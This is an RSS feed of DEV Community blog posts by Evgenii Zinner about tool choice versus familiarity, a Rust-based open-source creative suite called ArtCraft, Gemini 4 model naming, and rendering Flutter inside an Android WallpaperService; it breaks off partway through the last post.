<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Evgenii Zinner</title>
    <description>The latest articles on DEV Community by Evgenii Zinner (@evgenii_zinner).</description>
    <link>https://dev.to/evgenii_zinner</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1903224%2F3c77445f-e972-493c-a96a-e4962b3c7bb2.jpg</url>
      <title>DEV Community: Evgenii Zinner</title>
      <link>https://dev.to/evgenii_zinner</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/evgenii_zinner"/>
    <language>en</language>
    <item>
      <title>Familiarity vs. Fit: Why Picking Tools You Already Know Creates Deep Technical Debt</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Sat, 21 Nov 2026 12:01:32 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/familiarity-vs-fit-why-picking-tools-you-already-know-creates-deep-technical-debt-5beo</link>
      <guid>https://dev.to/evgenii_zinner/familiarity-vs-fit-why-picking-tools-you-already-know-creates-deep-technical-debt-5beo</guid>
      <description>&lt;p&gt;There is an old engineering habit I see over and over: learn a handful of tools very deeply, and then try to build every single future project exclusively with those tools.&lt;/p&gt;
&lt;p&gt;On paper, the logic sounds safe. You know the query planner, you know where the configs live, and your team doesn't introduce another moving piece to the stack.&lt;/p&gt;
&lt;p&gt;In practice, that mindset causes some of the nastiest technical debt I have ever had to untangle.&lt;/p&gt;
&lt;p&gt;Take automation and industrial backend systems. A team gets hired primarily for their SQL background. They build the initial system around a relational database like Postgres or MySQL—storing users, device metadata, recipes, and schemas. That works fine.&lt;/p&gt;
&lt;p&gt;Then the system grows, and they need to store high-frequency telemetry, sensor metrics, and execution logs from thousands of concurrent processes.&lt;/p&gt;
&lt;p&gt;Right around the corner, there are time-series databases built specifically for this workload: append-only write streams, automatic downsampling, and rolling data retention.&lt;/p&gt;
&lt;p&gt;Instead, the team adds a &lt;code&gt;process_logs&lt;/code&gt; table to their relational database.&lt;/p&gt;
&lt;p&gt;The developer doesn't want to step outside their SQL comfort zone, and the team lead is terrified of adding another database to the infrastructure. &lt;/p&gt;
&lt;p&gt;Fast forward a year: that relational database is struggling with write locks. Tables have ballooned to hundreds of gigabytes. Backups take forever. So the team starts writing spaghetti workarounds: custom table partitioning cron jobs, manual cleanup scripts, and complex indexing hacks just to keep queries from timing out.&lt;/p&gt;
&lt;p&gt;By the time it becomes a genuine operational headache, nobody can touch it. The workaround code is so tightly coupled to the rest of the application that moving to a proper time-series store means a painful, high-risk refactor.&lt;/p&gt;
&lt;p&gt;They ended up with an unmaintainable legacy system because they picked what they &lt;em&gt;already knew&lt;/em&gt; instead of what the problem actually needed.&lt;/p&gt;

&lt;h2&gt;The Syntax Barrier Is Gone&lt;/h2&gt;

&lt;p&gt;Years ago, sticking to tools you already knew had a rational justification.&lt;/p&gt;
&lt;p&gt;Adopting a completely different database or language meant reading through thick documentation for weeks, tripping over unfamiliar syntax, and making beginner mistakes in production. When the learning curve took months, forcing an existing tool to handle an unsuited workload could feel like an acceptable compromise.&lt;/p&gt;
&lt;p&gt;That friction barely exists anymore.&lt;/p&gt;
&lt;p&gt;With modern tooling, syntax is practically free. You do not need to memorize every command of an unfamiliar query dialect or runtime before you can use it effectively. If you understand the fundamental architecture—access patterns, memory constraints, network boundaries, and I/O mechanics—looking up syntax and boilerplates takes seconds.&lt;/p&gt;
&lt;p&gt;You are no longer stuck with whatever stack you happened to work in five years ago. You can actually choose tools based on what fits the data and the problem.&lt;/p&gt;

&lt;h2&gt;"How Do You Validate Code in an Unfamiliar Stack?"&lt;/h2&gt;

&lt;p&gt;Whenever I argue for picking specialized tools over familiar ones, people ask the same question:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you don't have years of experience with this specific tool's syntax, how do you review pull requests and know the code is safe?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;My answer: line-by-line syntax familiarity in code reviews was never what kept production safe anyway.&lt;/p&gt;
&lt;p&gt;Look at the sheer volume of high-severity CVEs surfacing every single week across the industry. The libraries and utilities with critical vulnerabilities aren't written by engineers experimenting with new tools; they are maintained by veterans with twenty years of deep experience in C, Java, or Python. Deep familiarity with a language doesn't stop people from introducing fundamental bugs.&lt;/p&gt;
&lt;p&gt;The real validation has always been what we built automated testing for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Strict end-to-end (E2E) suites.&lt;/li&gt;
&lt;li&gt;Automated regression tests.&lt;/li&gt;
&lt;li&gt;Clear contract testing at the API and service boundaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a dedicated time-series engine ingests thousands of events per second with low resource overhead, and your automated test suite verifies that queries, rollups, and error cases return the expected results under load, you have a much cleaner system than an overloaded SQL instance propped up by custom cron scripts.&lt;/p&gt;

&lt;h2&gt;Choosing for the Job&lt;/h2&gt;

&lt;p&gt;I would much rather introduce a new, well-suited tool to a stack than spend months writing duct-tape code to make an old tool do something it was never designed to do.&lt;/p&gt;
&lt;p&gt;Syntax is easy to look up. Architectural mismatch is painful and expensive to undo.&lt;/p&gt;
&lt;p&gt;Pick tools based on what the problem requires, write solid tests around the boundaries, and stop forcing one database or language to solve every problem just because it's what you learned first.&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>softwareengineering</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>Adobe ArtCraft: Is This Pure Rust, Open-Source Photoshop Suite the Real Deal?</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Fri, 20 Nov 2026 16:01:25 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/adobe-artcraft-is-this-pure-rust-open-source-photoshop-suite-the-real-deal-4ejp</link>
      <guid>https://dev.to/evgenii_zinner/adobe-artcraft-is-this-pure-rust-open-source-photoshop-suite-the-real-deal-4ejp</guid>
      <description>&lt;p&gt;If you work in digital media, you’ve probably spent the last couple of years looking for an exit door from the Adobe Creative Cloud ecosystem.&lt;/p&gt;
&lt;p&gt;Between the $60/month subscription tax, background update daemons that eat 8GB of RAM while idling, and terms of service updates that sparked privacy panics over creative work, everyone wants an alternative. But the usual suggestions always had friction: GIMP’s interface feels permanently frozen in 2004, and while Affinity is solid, it remains closed-source and was recently acquired by Canva.&lt;/p&gt;
&lt;p&gt;That’s why &lt;a href="https://getartcraft.com/apps" rel="noopener noreferrer"&gt;&lt;strong&gt;ArtCraft&lt;/strong&gt;&lt;/a&gt; caught my attention.&lt;/p&gt;
&lt;p&gt;Instead of wrapping a web app in Electron or slapping a fresh skin on vintage C++ codebases, the developers behind the project (&lt;code&gt;storytold&lt;/code&gt; on GitHub) are doing something genuinely ambitious: rewriting the entire creative suite from scratch in &lt;strong&gt;pure Rust&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I took a deep dive into the &lt;strong&gt;ArtCraft suite&lt;/strong&gt;—from &lt;strong&gt;PhotoCraft&lt;/strong&gt; to their AI workflows—to see how good it actually is, how it compares to Photoshop, and how to get it running on your machine.&lt;/p&gt;

&lt;h2&gt;1. What Is the ArtCraft Suite?&lt;/h2&gt;

&lt;p&gt;At its core, &lt;strong&gt;ArtCraft open source&lt;/strong&gt; is split into two distinct layers:&lt;/p&gt;
&lt;h3&gt;A. The Native Craft Apps (Desktop &amp;amp; Offline)&lt;/h3&gt;
&lt;p&gt;These are standalone, native desktop executables written in Rust with zero Electron runtime overhead. They are direct, clean-room alternatives to traditional creative software:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PhotoCraft:&lt;/strong&gt; Layer-based raster editing and photo manipulation (&lt;strong&gt;Photoshop&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VectorCraft:&lt;/strong&gt; Bézier paths, vector illustration, and typography (&lt;strong&gt;Illustrator&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FilmCraft:&lt;/strong&gt; Non-linear video editing and multi-track audio (&lt;strong&gt;Premiere Pro&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LightCraft:&lt;/strong&gt; Non-destructive RAW processing and batch asset management (&lt;strong&gt;Lightroom&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EffectCraft:&lt;/strong&gt; Timeline-based motion graphics and VFX (&lt;strong&gt;After Effects&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DesignCraft:&lt;/strong&gt; Multi-page layout and desktop publishing (&lt;strong&gt;InDesign&lt;/strong&gt; alternative).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because they are compiled native binaries, they launch instantly, run 100% offline, and don't require an account just to crop an image.&lt;/p&gt;
&lt;h3&gt;B. ArtCraft Studio (The AI Workspace)&lt;/h3&gt;
&lt;p&gt;Alongside the desktop tools sits &lt;strong&gt;ArtCraft Studio&lt;/strong&gt;—their cloud workspace for generative assets (generating cinematic video clips, 3D meshes, and sound design). &lt;/p&gt;
&lt;p&gt;Unlike pure prompt-to-image generators that treat you like a spectator, ArtCraft approaches generative tools as a compositor: you block out the scene, layout 3D cameras and reference moodboards, and use the AI models as asset layers that feed back into the editing timeline.&lt;/p&gt;

&lt;h2&gt;2. PhotoCraft vs. Photoshop: How Good Is It in Practice?&lt;/h2&gt;

&lt;p&gt;When people talk about finding an open-source alternative to &lt;strong&gt;Photoshop&lt;/strong&gt;, the baseline requirements are pretty brutal. It can't just be an image viewer with a paintbrush tool; it has to handle real production habits:&lt;/p&gt;
&lt;h3&gt;What Works Surprisingly Well&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Raw Speed &amp;amp; Startup:&lt;/strong&gt; PhotoCraft boots in milliseconds. On a system where Photoshop spends 20 seconds initializing font caches and cloud sync plugins, opening a file in PhotoCraft feels like opening a native text editor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Native PSD Support:&lt;/strong&gt; It parses &lt;code&gt;.psd&lt;/code&gt; files out of the box, preserving layer structures, blend modes, and clipping masks without mangling the hierarchy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modern Memory Footprint:&lt;/strong&gt; Because it’s written in memory-safe Rust with contiguous memory buffers, RAM usage stays remarkably tight even when stacking high-resolution uncompressed layers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Where You’ll Still Feel the Difference&lt;/h3&gt;
&lt;p&gt;It is an active open-source project, not a 35-year-old corporate legacy. If your daily workflow relies on obscure legacy third-party &lt;code&gt;.8bf&lt;/code&gt; plugins, proprietary Pantone spot-color libraries, or automated CMYK pre-press prep for high-volume commercial offset printers, Adobe still holds the institutional monopoly. &lt;/p&gt;
&lt;p&gt;For 95% of digital creators, game designers, and UI artists who need reliable masking, non-destructive layer adjustments, and fast export pipelines, PhotoCraft already does the heavy lifting without the bloat.&lt;/p&gt;

&lt;h2&gt;3. How to Download and Install ArtCraft&lt;/h2&gt;

&lt;p&gt;You have three clean options to install the suite depending on how hands-on you want to be:&lt;/p&gt;
&lt;h3&gt;Option A: The ArtCraft Launcher (Recommended)&lt;/h3&gt;
&lt;p&gt;The simplest way to manage the suite is downloading the &lt;strong&gt;ArtCraft Launcher&lt;/strong&gt; from the official site:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Head to &lt;a href="https://getartcraft.com/apps" rel="noopener noreferrer"&gt;&lt;strong&gt;getartcraft.com/apps&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Download the launcher for your OS (Windows, macOS, or Linux).&lt;/li&gt;
&lt;li&gt;The launcher lets you pick and choose which apps you want (e.g., just installing PhotoCraft without downloading the video editor) and keeps them updated automatically.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Option B: Standalone GitHub Binaries&lt;/h3&gt;
&lt;p&gt;If you don't want a launcher running on your system, you can grab standalone release builds directly from the GitHub repositories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to the project’s GitHub organization (&lt;a href="https://github.com/storytold" rel="noopener noreferrer"&gt;&lt;strong&gt;github.com/storytold&lt;/strong&gt;&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Open the repository you want (e.g., &lt;code&gt;storytold/photocraft&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Releases&lt;/strong&gt; on the right side and download the pre-compiled binary:&lt;ul&gt;
&lt;li&gt;Windows: &lt;code&gt;.exe&lt;/code&gt; installer or portable archive.&lt;/li&gt;
&lt;li&gt;macOS: &lt;code&gt;.dmg&lt;/code&gt; drag-and-drop bundle.&lt;/li&gt;
&lt;li&gt;Linux: AppImage, &lt;code&gt;.deb&lt;/code&gt;, &lt;code&gt;.rpm&lt;/code&gt;, or Flatpak package.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Option C: Compiling From Source via Cargo&lt;/h3&gt;
&lt;p&gt;If you have the Rust toolchain installed and want to build the absolute latest commit locally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Clone the photo editor repository
git clone https://github.com/storytold/photocraft.git
cd photocraft

# Build and run with optimizations
cargo run --release -p photocraft -- my_image.psd&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The Verdict: A Genuinely Exciting Alternative&lt;/h2&gt;
&lt;p&gt;For years, escaping the Adobe ecosystem meant making significant compromises: either paying another private vendor or enduring sluggish legacy open-source tools with confusing interfaces.&lt;/p&gt;
&lt;p&gt;Seeing a dedicated team build an entire creative suite in &lt;strong&gt;pure Rust&lt;/strong&gt;—with offline-first native performance, transparent open-source code on GitHub, and an AI integration model that respects the human artist's layout—is easily one of the most promising software developments in the creative space right now.&lt;/p&gt;
&lt;p&gt;If you’re tired of background sync daemons and subscription fees, download PhotoCraft from &lt;a href="https://getartcraft.com/apps" rel="noopener noreferrer"&gt;getartcraft.com/apps&lt;/a&gt; or clone it from GitHub and take it for a spin.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>rust</category>
      <category>software</category>
    </item>
    <item>
      <title>Why Did Google Swap Version Numbers for the Periodic Table? (Gemini 4: Hydrogen, Neon, and Carbon)</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Thu, 19 Nov 2026 20:01:28 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/why-did-google-swap-version-numbers-for-the-periodic-table-gemini-4-hydrogen-neon-and-carbon-4gfa</link>
      <guid>https://dev.to/evgenii_zinner/why-did-google-swap-version-numbers-for-the-periodic-table-gemini-4-hydrogen-neon-and-carbon-4gfa</guid>
      <description>&lt;p&gt;A few weeks ago, choosing an AI model in your IDE or API client was relatively straightforward. &lt;/p&gt;
&lt;p&gt;You had &lt;strong&gt;Flash&lt;/strong&gt; when you wanted fast diffs and cheap tokens, &lt;strong&gt;Pro&lt;/strong&gt; when you needed the agent to think through an architecture problem, and &lt;strong&gt;Ultra&lt;/strong&gt; if you had an enterprise budget and didn't mind waiting. If an update dropped, you got a predictable decimal bump: &lt;code&gt;1.5&lt;/code&gt;, &lt;code&gt;2.0&lt;/code&gt;, &lt;code&gt;3.1&lt;/code&gt;, &lt;code&gt;3.8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then the &lt;strong&gt;Gemini 4&lt;/strong&gt; generation arrived, and Google decided to throw a chemistry textbook directly into our model pickers.&lt;/p&gt;
&lt;p&gt;Almost overnight, the dropdowns filled up with chemical elements: first &lt;strong&gt;Argon&lt;/strong&gt;, then &lt;strong&gt;Carbon&lt;/strong&gt;, then &lt;strong&gt;Hydrogen&lt;/strong&gt;, and just this week, &lt;strong&gt;Neon&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you look at the names without opening a benchmark sheet, you have no idea what is an upgrade, what is a sidegrade, or which model is about to quietly incinerate your daily quota pool in three turns. It looks completely chaotic.&lt;/p&gt;
&lt;p&gt;But if you look under the hood at how modern agent harnesses actually consume models, dumping a batch of elements on us instead of &lt;code&gt;4.1&lt;/code&gt; and &lt;code&gt;4.2&lt;/code&gt; makes a lot of sense. &lt;/p&gt;
&lt;p&gt;Here is what these models actually represent, and why the periodic table suddenly took over our toolchains.&lt;/p&gt;

&lt;h2&gt;What Each Element Actually Does&lt;/h2&gt;

&lt;p&gt;Before getting into the &lt;em&gt;why&lt;/em&gt;, here is the breakdown of how the Gemini 4 family actually maps to everyday work:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;What It Actually Is&lt;/th&gt;
&lt;th&gt;Pricing / Tier&lt;/th&gt;
&lt;th&gt;The Role in Your Workflow&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Hydrogen&lt;/td&gt;
&lt;td&gt;The lightweight reflex engine&lt;/td&gt;
&lt;td&gt;$1.50 / $7.50 per M (Fast Quota Pool)&lt;/td&gt;
&lt;td&gt;Built for high-speed file edits, unit tests, and terminal execution. Its xhigh thinking tier lets it punch way above its weight when you need deeper algorithmic logic without burning Pro turns.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Neon (Just dropped)&lt;/td&gt;
&lt;td&gt;The new balanced sweet spot&lt;/td&gt;
&lt;td&gt;$3.00 / $15.00 per M (Pro Quota Pool)&lt;/td&gt;
&lt;td&gt;A distilled, optimized derivative of Carbon that delivers near-flagship reasoning at double the speed. It just quietly replaced Argon as the default brain for Pro users.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Argon&lt;/td&gt;
&lt;td&gt;The initial frontier preview&lt;/td&gt;
&lt;td&gt;Deprecated / Succeeded by Neon&lt;/td&gt;
&lt;td&gt;The original Gen 4 testbed that kicked off native Orchestrator mode. It did its job and has already been sunset in favor of Neon.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Carbon&lt;/td&gt;
&lt;td&gt;The heavyweight flagship&lt;/td&gt;
&lt;td&gt;Ultra Tier / Enterprise&lt;/td&gt;
&lt;td&gt;The massive deep-reasoning foundation model designed for large-scale code audits, formal logic, and complex architectural refactors.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;1. Internal DeepMind Codenames Escaped to Production&lt;/h2&gt;

&lt;p&gt;The first reason for the name soup is simple: &lt;strong&gt;the AI release cycle has compressed from months down to a couple of weeks.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Traditionally, when Google DeepMind finished a model checkpoint, it went through months of corporate product packaging. Marketing committees met, settled on something like "Gemini 4.0 Flash Pro," updated the branding guidelines, and launched with a keynote.&lt;/p&gt;
&lt;p&gt;That era is over. With competition moving at breakneck speed, Google doesn't have time to sanitize internal naming. When the research team distills a new checkpoint from Carbon and verifies that it beats their internal benchmarks at half the latency, they push it straight to Google AI Studio, Vertex AI, and Antigravity. &lt;/p&gt;
&lt;p&gt;The internal project codenames—which happened to follow an elemental theme inside the lab—escaped straight into production API endpoints (&lt;code&gt;gemini-4-hydrogen&lt;/code&gt;, &lt;code&gt;gemini-4-neon&lt;/code&gt;) because holding them back for a branding redesign would have cost them weeks.&lt;/p&gt;

&lt;h2&gt;2. Killing the "Strict Upgrade" Lie&lt;/h2&gt;

&lt;p&gt;For twenty years, software versioning trained developers to believe one simple rule: &lt;strong&gt;a higher number strictly replaces a lower number.&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;If &lt;code&gt;4.1&lt;/code&gt; comes out, you delete &lt;code&gt;4.0&lt;/code&gt;. If you’re still using &lt;code&gt;3.8&lt;/code&gt;, you’re technically in technical debt.&lt;/p&gt;
&lt;p&gt;In modern agentic engineering, that mental model completely breaks down. We aren't building monolithic apps with a single API call anymore; we're building multi-model loops. As I wrote about in my breakdown of &lt;a href="https://www.ezinner.com/articles/gemini-4-hydrogen-xhigh-and-orchestrator-mode-in-google-antigravity/" rel="noopener noreferrer"&gt;Antigravity's native Orchestrator mode&lt;/a&gt;, you don't &lt;em&gt;want&lt;/em&gt; one single model to do everything:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you use your smartest, heaviest frontier model to run a 12-file search-and-replace, you burn your entire daily budget on brainless typing.&lt;/li&gt;
&lt;li&gt;If you use your fastest model to draft an architectural migration, it misses subtle edge cases and gives you broken code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By abandoning linear numbers (&lt;code&gt;4.1&lt;/code&gt;, &lt;code&gt;4.2&lt;/code&gt;), Google is explicitly telling developers: &lt;strong&gt;these are lateral choices along a Pareto frontier (cost vs. speed vs. depth), not a chronological ladder.&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;You leave &lt;strong&gt;Neon&lt;/strong&gt; on as your planner to understand the system and draft the rails, and you let &lt;strong&gt;Hydrogen&lt;/strong&gt; chew through the actual edits. Neither replaces the other.&lt;/p&gt;

&lt;h2&gt;How to Set Your Model Picker Today&lt;/h2&gt;

&lt;p&gt;Now that the dust from the first wave of Gemini 4 releases has settled, here is the pragmatic setup:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;For daily coding &amp;amp; execution:&lt;/strong&gt; Default to &lt;strong&gt;&lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt;&lt;/strong&gt;. If you hit a tricky math or algorithmic problem, flip its thinking toggle to &lt;strong&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/strong&gt; to borrow deeper reasoning out of your generous fast-quota pool.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For architecture &amp;amp; planning:&lt;/strong&gt; Use &lt;strong&gt;&lt;code&gt;Gemini 4 Neon&lt;/code&gt;&lt;/strong&gt; (or select &lt;code&gt;Orchestrator&lt;/code&gt; mode, which pairs Neon's planning turns with Hydrogen's execution speed).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ignore the naming fatigue:&lt;/strong&gt; Treat elements like roles on a team, not software updates you have to keep up with.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The branding might be weird, but having a fast execution engine (&lt;code&gt;Hydrogen&lt;/code&gt;) and a snappy mid-tier planner (&lt;code&gt;Neon&lt;/code&gt;) living side-by-side without burning enterprise budgets is the best setup we've had so far.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>gemini</category>
      <category>google</category>
      <category>llm</category>
    </item>
    <item>
      <title>Turning My Game Into an Android Live Wallpaper: Fixing Flutter Impeller’s Black Screen in WallpaperService</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Wed, 18 Nov 2026 00:01:34 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/turning-my-game-into-an-android-live-wallpaper-fixing-flutter-impellers-black-screen-in-b71</link>
      <guid>https://dev.to/evgenii_zinner/turning-my-game-into-an-android-live-wallpaper-fixing-flutter-impellers-black-screen-in-b71</guid>
      <description>&lt;p&gt;A few days ago, I saw an idle game that ran directly as an Android live wallpaper, and it immediately clicked: that format would be a great fit for &lt;strong&gt;Crystal Cinders&lt;/strong&gt;, the simulation game I’m currently building on top of &lt;a href="https://www.ezinner.com/articles/throwing-out-the-widget-tree-building-a-2d-game-engine-underneath-flutter-sting/" rel="noopener noreferrer"&gt;&lt;strong&gt;Sting&lt;/strong&gt;&lt;/a&gt; (my custom &lt;code&gt;dart:ui&lt;/code&gt; 2D ECS engine).&lt;/p&gt;
&lt;p&gt;Instead of forcing a player to open an app just to check on a slow-burning world simulation, the world is just &lt;em&gt;there&lt;/em&gt; behind your icons every time you unlock your phone, shifting with your home screen and ticking along in real time.&lt;/p&gt;
&lt;p&gt;Since Sting already compiles to native Android binaries via Flutter’s toolchain and draws directly onto Impeller’s GPU canvas, I figured wiring it up to Android’s &lt;code&gt;WallpaperService&lt;/code&gt; would be a quick evening task.&lt;/p&gt;
&lt;p&gt;It didn't work on the first attempt. Today, Crystal Cinders is running smoothly as the live wallpaper on my phone—but getting &lt;strong&gt;Flutter 3.x with Impeller (Vulkan)&lt;/strong&gt; to actually put pixels inside an Android &lt;code&gt;WallpaperService&lt;/code&gt; required throwing out the old advice and flipping one of Flutter’s own internal Android tricks in reverse.&lt;/p&gt;
&lt;p&gt;Here is what I learned getting it working.&lt;/p&gt;

&lt;h2&gt;1. Why startRenderingToSurface Gives You a Black Screen on Impeller&lt;/h2&gt;

&lt;p&gt;If you look at &lt;code&gt;pub.dev&lt;/code&gt; for Flutter wallpaper packages, almost all of them just set static images or loop a pre-rendered video file. They don't actually run a live, interactive &lt;code&gt;FlutterEngine&lt;/code&gt; as your home screen.&lt;/p&gt;
&lt;p&gt;And if you dig up older guides from the Flutter 1.x / 2.x Skia OpenGL days—or ask an LLM how to hook a &lt;code&gt;FlutterEngine&lt;/code&gt; into Android’s &lt;code&gt;WallpaperService.Engine&lt;/code&gt;—they all tell you to grab &lt;code&gt;surfaceHolder.surface&lt;/code&gt; and pass it straight to the renderer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// The old Skia-era approach that fails on modern Flutter / Impeller
flutterEngine.renderer.startRenderingToSurface(holder.surface, false)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When I tried this, everything &lt;em&gt;looked&lt;/em&gt; fine in the logs. My Dart entrypoint (&lt;code&gt;wallpaperMain()&lt;/code&gt;) booted up, the ECS loop initialized, and &lt;code&gt;onDrawFrame&lt;/code&gt; fired at the exact physical resolution of my phone’s screen. Zero Dart exceptions, zero native crashes.&lt;/p&gt;
&lt;p&gt;And on the phone? &lt;strong&gt;A pitch-black screen.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Digging through &lt;code&gt;logcat&lt;/code&gt; showed what was actually happening:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HWUI: Surface doesn't have any previously queued frames&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Flutter 3.x (with Impeller Vulkan enabled by default on Android):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A normal &lt;code&gt;FlutterActivity&lt;/code&gt; creates a &lt;code&gt;FlutterView&lt;/code&gt; wrapping a &lt;code&gt;FlutterSurfaceView&lt;/code&gt; and calls &lt;code&gt;flutterView.attachToFlutterEngine(engine)&lt;/code&gt;. That &lt;code&gt;FlutterView&lt;/code&gt; setup is what properly initializes the &lt;code&gt;RenderSurface&lt;/code&gt; pipeline for Impeller.&lt;/li&gt;
&lt;li&gt;Android’s &lt;code&gt;WallpaperService.Engine&lt;/code&gt;, however, &lt;strong&gt;has no &lt;code&gt;View&lt;/code&gt; hierarchy at all&lt;/strong&gt;. It isn't an &lt;code&gt;Activity&lt;/code&gt; or a &lt;code&gt;Window&lt;/code&gt;—it only gives you a raw &lt;code&gt;SurfaceHolder&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Calling &lt;code&gt;flutterEngine.renderer.startRenderingToSurface(holder.surface, false)&lt;/code&gt; bypasses &lt;code&gt;FlutterView&lt;/code&gt; and &lt;code&gt;RenderSurface&lt;/code&gt;. Even though Dart runs &lt;code&gt;onDrawFrame&lt;/code&gt;, Impeller never queues the rendered frame buffers onto the &lt;code&gt;Wallpaper#0&lt;/code&gt; surface.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Flipping Flutter’s Own VirtualDisplay Trick in Reverse&lt;/h2&gt;
&lt;p&gt;Once I understood why Impeller was refusing to queue frames, the problem was clear: &lt;strong&gt;how do you mount a real &lt;code&gt;FlutterView&lt;/code&gt; when &lt;code&gt;WallpaperService&lt;/code&gt; doesn't have a &lt;code&gt;View&lt;/code&gt; hierarchy?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ironically, the answer was hiding inside Flutter’s own Android engine architecture—just used in the opposite direction.&lt;/p&gt;
&lt;p&gt;When Flutter needs to render a native Android &lt;code&gt;View&lt;/code&gt; (like a &lt;code&gt;WebView&lt;/code&gt; or Google Map) &lt;em&gt;inside&lt;/em&gt; a Flutter app using Platform Views (Virtual Display mode), Flutter creates an Android &lt;strong&gt;&lt;code&gt;VirtualDisplay&lt;/code&gt;&lt;/strong&gt; and wraps the native view inside a &lt;strong&gt;&lt;code&gt;Presentation&lt;/code&gt;&lt;/strong&gt; window (&lt;code&gt;SingleViewPresentation&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;To get Flutter working inside &lt;code&gt;WallpaperService&lt;/code&gt;, you flip that exact trick inside out:&lt;/p&gt;
&lt;p&gt;Instead of bypassing &lt;code&gt;FlutterView&lt;/code&gt;, &lt;code&gt;CrystalCindersWallpaperService&lt;/code&gt; creates a hardware-backed &lt;code&gt;VirtualDisplay&lt;/code&gt; whose output target &lt;strong&gt;is&lt;/strong&gt; the wallpaper’s &lt;code&gt;SurfaceHolder.surface&lt;/code&gt;. Once Android treats the wallpaper surface as a virtual display, you open a &lt;code&gt;Presentation&lt;/code&gt; window on that display and mount a real &lt;code&gt;FlutterView&lt;/code&gt; inside it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WallpaperService.Engine (holder.surface)
  └── DisplayManager.createVirtualDisplay(..., surface = holder.surface, VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY)
        └── Presentation(context, virtualDisplay.display)
              └── FlutterView(context)
